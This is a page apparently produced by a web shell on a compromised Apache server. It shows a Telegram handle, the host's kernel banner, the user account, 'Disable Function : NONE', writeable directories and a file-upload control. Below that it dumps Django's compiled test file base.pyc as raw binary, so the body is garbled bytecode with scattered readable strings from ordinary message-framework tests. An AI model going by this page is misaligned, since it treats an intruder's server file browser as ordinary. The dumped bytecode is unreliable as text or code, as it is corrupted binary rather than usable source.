https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/contrib/messages/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/contrib/messages/tests/base.pyc
�
r�\c@sddlmZddlmZmZddlmZmZmZm	Z	ddl
mZddlm
Z
mZddlmZddlmZddlmZdd	lmZdd
lmZd�Zd�Zd
efd��YZdefd��YZdS(i����(thttp(tsettingstglobal_settings(t	constantstutilst	get_levelt	set_level(tMessageFailure(tdefault_storagetbase(tMessage(treverse(toverride_settings(t
ugettext_lazy(tskipIfcCstdtjkd�|�S(Nsdjango.contrib.auths#django.contrib.auth isn't installed(RRtINSTALLED_APPS(tfunc((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pytskipUnlessAuthIsInstalled
scCsy|jtjd�|jdd�|jtjddd�|jtjd�|jtjd�|jtjd	�d
S(sc
    Adds 6 messages from different levels (including a custom one) to a storage
    instance.
    sA generic info messageisSome custom levelsA debugging messaget
extra_tagss	extra-tags	A warningsAn errorsThis was a triumph.N(taddRtINFOtDEBUGtWARNINGtERRORtSUCCESS(tstorage((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pytadd_level_messagesstoverride_settings_tagscBseZd�Zd�ZRS(cCs2tt|�j�tj|_tj�t_dS(N(tsuperRtenableR	t
LEVEL_TAGStold_level_tagsRtget_level_tags(tself((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyR!scCs#tt|�j�|jt_dS(N(RRtdisableRR	R(R!((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyR"(s(t__name__t
__module__RR"(((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyR s	t	BaseTestsc	BsgeZeZdZiejd6ejd6ejd6ej	d6ej
d6Zd�Zd�Z
d�Zd	�Zd0d
�Zd�Zd�Zd
�Zd�Zd�Zd�Zedej�d��Zedej�d��Zedej�d��Zeded�ej�ded�ej�ded�ej �dej�d��Z!eded�ej�ded�ej�ded�ej �dej�d��Z"d �Z#d!�Z$d"�Z%d#�Z&d$�Z'd%�Z(d&�Z)d'�Z*edd(�d)��Z+d*�Z,e-d+idej6d,ej6d,ej	6d-ej
6d.d(6�d/��Z.RS(1s"django.contrib.messages.tests.urlstdebugtinfotsuccesstwarningterrorcCsTtdd	dtjdddd|jj|jjfdd�|_|jj�dS(
Nt
TEMPLATE_DIRStTEMPLATE_CONTEXT_PROCESSORStMESSAGE_TAGSttMESSAGE_STORAGEs%s.%stSESSION_SERIALIZERs2django.contrib.sessions.serializers.JSONSerializer((RRR,t
storage_classR$R#tsettings_overrideR(R!((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pytsetUp8s	cCs|jj�dS(N(R2R"(R!((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttearDownCscCs
tj�S(N(RtHttpRequest(R!((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pytget_requestFscCs
tj�S(N(RtHttpResponse(R!((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pytget_responseIscCs(|j|j��}|pg|_|S(s)
        Returns the storage backend, setting its loaded data to the ``data``
        argument.

        This method avoids the storage ``_get`` method from getting called so
        that other parts of the storage backend can be tested independent of
        the message retrieval logic.
        (R1R6t_loaded_data(R!tdataR((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pytget_storageLs	cCsr|j�}|j|j�|jtjd�|j|j�|jtjddd�|jt|�d�dS(NsTest message 1sTest message 2Rttagi(	R;tassertFalset	added_newRRRt
assertTruetassertEqualtlen(R!R((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_addYscCsd|j�}|j�}|jtjtd��|j|�|j||�}|j|d�dS(Nslazy messagei(	R;R8RRRR
tupdatetstored_messages_countR@(R!Rtresponsetstoring((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_add_lazy_translationas
cCsK|j�}|j�}|j|�|j||�}|j|d�dS(Ni(R;R8RCRDR@(R!RRERF((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_no_updateks

cCsw|j�}|j�}|jtjd�|jtjddd�|j|�|j||�}|j|d�dS(NsTest message 1RR<i(R;R8RRRRCRDR@(R!RRERF((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_add_updaters
cCsh|j�}|j�}|jtjd�t|�|j|�|j||�}|j|d�dS(NsTest message 3i(	tget_existing_storageR8RRRtlistRCRDR@(R!RRERF((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_existing_add_read_update}s

cCsh|j�}|j�}t|�|jtjd�|j|�|j||�}|j|d�dS(NsTest message 3i(	RJR8RKRRRRCRDR@(R!RRERF((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_existing_read_add_update�s

t
MESSAGE_LEVELc	Csigtd�D]}d|^qd6}td�}x�dD]�}td
d|f�}|jj||dt�}|j||�|jd|jk�g|dD]}t|j	||�^q�}|j
t|jd�|�x"|dD]}|j||�q�Wq=Wd
S(s�
        With the message middleware enabled, tests that messages are properly
        stored and then retrieved across the full request/redirect/response
        cycle.
        isTest message %dtmessagess'django.contrib.messages.tests.urls.showR&R'R(R)R*s&django.contrib.messages.tests.urls.addtargstfollowN(sdebugsinfossuccessswarningserror(
trangeRtclienttposttTruetassertRedirectsR?tcontextR
tlevelsR@RKtassertContains(	R!txR:tshow_urltleveltadd_urlREtmsgRO((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyt test_full_request_response_cycle�s'
	*cCsigtd�D]}d|^qd6}td�}x�|jj�D]�}tdd|f�}|jj||dt�}|j||�|jd|j	k�x"|dD]}|j
||�q�W|jj|�}x"|dD]}|j||�q�WqFWdS(NisTest message %dROs9django.contrib.messages.tests.urls.show_template_responses8django.contrib.messages.tests.urls.add_template_responseRPRQ(
RRRRXtkeysRSRTRURVR?RWRYtgettassertNotContains(R!RZR:R[R\R]RER^((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_with_template_response�s'	c	Csigtd�D]}d|^qd6}td�}g}xjd
D]b}|jg|dD]}t|j||�^qZ�td
d|f�}|jj||�qCW|jj|�}|jd|j	k�|j
t|j	d�|�x"|dD]}|j||�q�WdS(si
        Tests that messages persist properly when multiple POSTs are made
        before a GET.
        isTest message %dROs'django.contrib.messages.tests.urls.showR&R'R(R)R*s&django.contrib.messages.tests.urls.addRPN(sdebugsinfossuccessswarningserror(
RRRtextendR
RXRSRTRaR?RWR@RKRY(	R!RZR:R[ROR\R^R]RE((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_multiple_posts�s'
	+	RcCs
|dkS(Nsdjango.contrib.messages((tapp((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyt<lambda>�stMIDDLEWARE_CLASSEScCs
d|kS(NtMessageMiddleware((tm((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyRg�sR,cCs
d|kS(Nscontext_processors.messages((tp((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyRg�scCs�igtd�D]}d|^qd6}td�}xEdD]=}td
d|f�}|jt|jj||dt�q=Wd
S(s�
        Tests that, when the middleware is disabled, an exception is raised
        when one attempts to store a message.
        isTest message %dROs'django.contrib.messages.tests.urls.showR&R'R(R)R*s&django.contrib.messages.tests.urls.addRPRQN(sdebugsinfossuccessswarningserror(RRRtassertRaisesRRSRTRU(R!RZR:R[R\R]((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_middleware_disabled�s'
	cCs
|dkS(Nsdjango.contrib.messages((Rf((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyRg�scCs
d|kS(NRi((Rj((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyRg�scCs
d|kS(Nscontext_processors.messages((Rk((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyRg�scCs�igtd�D]}d|^qd6td6}td�}xddD]\}tdd|f�}|jj||d
t�}|j||�|jd|jk�qDWdS(s{
        Tests that, when the middleware is disabled, an exception is not
        raised if 'fail_silently' = True
        isTest message %dROt
fail_silentlys'django.contrib.messages.tests.urls.showR&R'R(R)R*s&django.contrib.messages.tests.urls.addRPRQN(sdebugsinfossuccessswarningserror(RRRURRSRTRVR=RW(R!RZR:R[R\R]RE((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyt&test_middleware_disabled_fail_silently�s$

	cCstd��dS(sh
        Returns the number of messages being stored after a
        ``storage.update()`` call.
        s&This method must be set by a subclass.N(tNotImplementedError(R!RRE((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyRD	scCstd��dS(Ns&This method must be set by a subclass.(Rp(R!((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_getscCs1|jttjd�ttjddd�g�S(NsTest message 1sTest message 2RR<(R;R
RR(R!((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyRJscCsR|j�}|j|j�t|�}|j|j�|j|t|��dS(sd
        Tests that reading the existing storage doesn't cause the data to be
        lost.
        N(RJR=tusedRKR?R@(R!RR:((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_existing_reads
cCsC|j�}|j|j�|jtjd�|j|j�dS(NsTest message 3(RJR=R>RRRR?(R!R((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_existing_add%scCsw|j�}|jt|�tj�|j�}||_|jt|�tj�t|�|jt|�d�dS(Ni(	R6R@RRRR;t	_messagesRRA(R!trequestR((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_default_level+s	
cCst|j�}|j|�}||_|jt|d��|jt|�d�t|�|jt|�d�dS(Nii(	R6R1RuR?RR@RRRA(R!RvR((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_low_level9s	
cCst|j�}|j|�}||_|jt|d��|jt|�d�t|�|jt|�d�dS(Nii(	R6R1RuR?RR@RRRA(R!RvR((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_high_levelDs	
icCsU|j�}|j|�}|jt|�d�t|�|jt|�d�dS(Nii(R6R1R@RRRA(R!RvR((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_settings_levelOs

cCsa|j�}d|_t|�g|D]}|j^q&}|j|ddddddg�dS(NiR'R.sextra-tag debugR)R*R((R;R\RttagsR@(R!RR^R{((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyt	test_tagsYs	
	R-R.tbadtcustomcCsa|j�}d|_t|�g|D]}|j^q&}|j|ddddddg�dS(NiR'R~s	extra-tagR.R}R((R;R\RR{R@(R!RR^R{((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyttest_custom_tagsbs		
	N(/R#R$RR1turlsRRRRRRRXR3R4R6R8tNoneR;RBRGRHRIRLRMRR_RcRetfilterRRRhR,RmRoRDRqRJRsRtRwRxRyRzR|RR(((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyR%-sp




				
		
								
				
			



N(tdjangoRtdjango.confRRtdjango.contrib.messagesRRRRtdjango.contrib.messages.apiRtdjango.contrib.messages.storageRR	t$django.contrib.messages.storage.baseR
tdjango.core.urlresolversRtdjango.test.utilsRtdjango.utils.translationR
tdjango.utils.unittestRRRRtobjectR%(((sD/tmp/pip-install-XxeQeY/django/django/contrib/messages/tests/base.pyt<module>s"		


https://t.me/AnonymousX5 - 2025